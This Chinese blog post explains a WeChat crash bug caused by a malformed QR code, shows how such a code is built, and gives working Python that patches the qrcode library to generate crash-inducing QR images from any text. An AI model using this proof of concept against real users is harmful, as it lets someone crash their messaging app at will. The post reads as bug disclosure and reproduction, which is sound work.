AI 摘要(由 ChatGPT 总结生成):
文章介绍了一个微信闪退的BUG,原因是由于一个畸形二维码引起的。该二维码在微信中打开即可导致APP闪退,而问题根源是OCR识别系统的内存崩溃。文章提供了触发问题的具体日志,同时分享了构造畸形二维码的要点,包括数据块内不能出现Padding Pattern等。最后,附上了一个Python代码示例,用于生成导致微信闪退的畸形二维码。

前言

今天莫名出现一个“微信闪退”的话题,一看竟然是因为一个二维码引起的,只要在微信里打开这张二维码图片,无需主动点击识别,微信 APP 就会闪退,最后就被系统三方异常分析程序捕获异常。

image-20230424192539018

目前在 Android 端、IOS 端皆测试可使得微信闪退,该 BUG 除了触发闪退外,尚未发现其他安全风险,不涉及个人隐私信息泄露;也不会导致资金丢失或封号等问题。

原因

而引发此次问题的原因是 OCR 识别系统出现了内存崩溃导致的,畸形二维码内的错误数据块导致 libwechatQrMod.so 崩溃,进而导致软件闪退,其日志如下:

cd08b2b6810da56692cc29acf234e3f

构造畸形二维码

造成微信闪退的主要原因是畸形二维码所致,那么构造该畸形二维码样本时需要注意的要点:

  • 数据块内不可以出现 Padding Pattern
  • 最后一个 block 的内容为空,但是 Character Count Indicator 不为 0

附上复现用的代码,可根据任意文本内容构造畸形二维码(代码来源于网络):

import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTE

NUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]

def tencent_crash_qrcode(message: str, filename='crash.png'): # 图片名称

    def hack_put(self, num, length):
        if num == 0:
            num = 1
        for i in range(length):
            self.put_bit(((num >> (length - i - 1)) & 1) == 1)
    
    data = message.encode('utf-8')
    data_len = len(data)

    version = 1
    while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:
        version += 1
    if version > len(NUM_BLOCKS):
        raise Exception('message too long')

    data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)

    print(data_len, version)
    qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)
    
    comm_data = QRData(data, MODE_8BIT_BYTE)
    hack_data = QRData(b'', MODE_8BIT_BYTE)

    qr.add_data(comm_data, 0)
    qr.add_data(hack_data, 0)

    original_put = qrcode.util.BitBuffer.put
    qrcode.util.BitBuffer.put = hack_put
    qr.make_image().save(filename)
    qrcode.util.BitBuffer.put = original_put

tencent_crash_qrcode('KFC-VMe50') # 二维码内容

最后由上述代码生成一张二维码附上:

crash

End

本文标题:微信闪退的BUG:一张畸形二维码

本文链接:https://www.isisy.com/1457.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

如果觉得我的文章对你有用,请随意赞赏